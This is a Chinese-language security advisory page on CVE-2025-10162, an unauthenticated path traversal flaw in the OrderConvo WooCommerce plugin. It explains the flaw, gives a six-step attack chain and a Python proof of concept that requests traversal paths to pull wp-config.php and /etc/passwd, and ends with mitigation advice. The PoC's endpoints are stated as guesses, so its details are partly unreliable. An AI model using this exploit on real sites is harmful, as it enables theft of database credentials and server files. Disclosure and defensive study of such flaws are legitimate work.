IPBUF安全漏洞报告
English
CVE-2025-10162 CVSS 7.5 高危

CVE-2025-10162 OrderConvo WordPress插件路径遍历漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-10162
漏洞类型
路径遍历(Path Traversal / Arbitrary File Download)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Admin and Customer Messages After Order for WooCommerce: OrderConvo(WordPress插件)

相关标签

路径遍历Path Traversal任意文件下载Arbitrary File DownloadWordPressWooCommerceOrderConvo插件漏洞未认证漏洞CWE-22

漏洞概述

CVE-2025-10162是存在于WordPress插件"Admin and Customer Messages After Order for WooCommerce: OrderConvo"中的一个高危安全漏洞。该漏洞由WPScan团队([email protected])发现并于2025年10月7日公开披露。根据NVD(美国国家漏洞数据库)的评估,该漏洞的CVSS 3.1基础评分为7.5分,属于高危级别。

OrderConvo是一款用于WooCommerce电商平台的WordPress插件,主要功能是为管理员和客户在订单完成后提供消息沟通功能。该插件在处理文件下载请求时,未对用户提供的文件路径进行充分的验证和过滤,导致存在路径遍历漏洞。攻击者可以利用该漏洞,通过构造特殊的路径遍历序列(如"../"),绕过插件的访问控制机制,读取或下载服务器上的任意文件,包括敏感配置文件(如wp-config.php)、数据库凭据等关键信息。

该漏洞的威胁程度较高,原因在于:1)无需任何身份认证即可利用,攻击门槛极低;2)通过网络即可远程利用;3)无需用户交互;4)可导致高机密性影响。由于WordPress插件的广泛部署特性,该漏洞可能影响大量使用OrderConvo插件的电商网站,对网站安全构成严重威胁。

受影响的版本为OrderConvo插件14版本之前的所有版本。建议所有使用该插件的网站管理员尽快更新到最新版本,以修复此安全漏洞。

技术细节

该漏洞的核心问题在于OrderConvo插件在处理文件下载功能时,未对用户输入的文件路径进行严格的验证和过滤。具体技术原理如下:

1. **漏洞触发点**:插件提供了文件下载功能,允许用户下载与订单相关的附件或文档。在处理下载请求时,插件直接使用用户提供的文件路径参数来确定要下载的文件,而未对路径进行规范化或过滤。

2. **路径遍历原理**:攻击者可以通过在文件路径参数中注入路径遍历序列(如"../"或"..\\"),绕过插件原本设定的文件目录限制。例如,正常请求可能是下载插件目录下的某个文件,而攻击者可以构造类似"../../../wp-config.php"的路径,使程序访问到WordPress根目录下的配置文件。

3. **利用条件**:该漏洞的利用非常简单,无需任何身份认证(PR:N),无需用户交互(UI:N),仅需通过网络发送精心构造的HTTP请求即可触发。攻击复杂度低(AC:L),攻击向量为网络(AV:N)。

4. **影响范围**:成功利用该漏洞后,攻击者可以读取服务器上的任意可读文件,包括但不限于:WordPress配置文件(wp-config.php,可能包含数据库凭据)、系统敏感文件、插件和主题源代码、以及其他存储在Web服务器可访问目录中的文件。

5. **影响评估**:由于该漏洞仅影响机密性(C:H),不影响完整性(I:N)和可用性(A:N),因此CVSS评分为7.5分。攻击者主要通过读取敏感文件获取信息,而非直接破坏系统。

攻击链分析

STEP 1
步骤1:目标识别
攻击者使用搜索引擎(如Google Dorks)或WPScan等工具,识别运行WordPress并安装了OrderConvo插件(版本低于14)的目标网站。
STEP 2
步骤2:漏洞探测
攻击者访问目标网站,定位OrderConvo插件的文件下载功能端点(如admin-ajax.php中的下载action或插件专用下载脚本)。
STEP 3
步骤3:构造恶意请求
攻击者构造包含路径遍历序列的HTTP请求,将文件参数设置为类似'../../../wp-config.php'的值,绕过插件的目录限制。
STEP 4
步骤4:发送未认证请求
由于该漏洞无需认证即可利用,攻击者直接通过HTTP GET或POST请求发送恶意payload到目标端点。
STEP 5
步骤5:读取敏感文件
服务器响应包含目标文件的完整内容,如wp-config.php中的数据库用户名、密码、密钥等敏感信息。
STEP 6
步骤6:进一步渗透
攻击者利用获取的数据库凭据登录WordPress数据库,或使用API密钥进行进一步攻击,如获取管理员权限、上传WebShell等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10162 - OrderConvo WordPress Plugin Path Traversal PoC # Vulnerability: Unauthenticated Arbitrary File Download via Path Traversal # Affected: Admin and Customer Messages After Order for WooCommerce (OrderConvo) < v14 import requests TARGET_URL = "http://target-wordpress-site.com" def exploit_path_traversal(target_url, target_file): """ Exploit path traversal to read arbitrary files from the WordPress server. The OrderConvo plugin fails to sanitize the file path parameter, allowing unauthenticated attackers to traverse directories. """ # Construct path traversal payload traversal_payload = "../../../" + target_file # Typical endpoint for file download in OrderConvo plugin # The exact endpoint may vary; commonly a download action is used endpoints = [ f"/wp-admin/admin-ajax.php?action=orderconvo_download&file={traversal_payload}", f"/wp-content/plugins/orderconvo/download.php?file={traversal_payload}", f"/?orderconvo_download=1&file={traversal_payload}", ] for endpoint in endpoints: url = target_url + endpoint print(f"[*] Trying: {url}") try: response = requests.get(url, timeout=10, allow_redirects=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File content retrieved (HTTP {response.status_code}):") print("-" * 60) print(response.text[:2000]) print("-" * 60) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Exploitation failed. Target may not be vulnerable or endpoint differs.") return None if __name__ == "__main__": # Target sensitive files commonly sought by attackers sensitive_files = [ "wp-config.php", # WordPress config (DB credentials) "../../../wp-config.php", "..\\..\\..\\wp-config.php", "/etc/passwd", # Linux system file "../../../../etc/passwd", ] for f in sensitive_files: result = exploit_path_traversal(TARGET_URL, f) if result: break

影响范围

Admin and Customer Messages After Order for WooCommerce: OrderConvo < 14

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)暂时禁用OrderConvo插件;2)在Web服务器或WAF层面配置规则,阻止包含'../'或'..\\'等路径遍历特征的URL请求;3)限制WordPress关键目录的文件访问权限,确保Web服务器进程无法读取wp-config.php等敏感文件(如果可行);4)部署入侵检测系统(IDS)监控可疑的文件下载行为;5)定期检查服务器访问日志,识别潜在的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表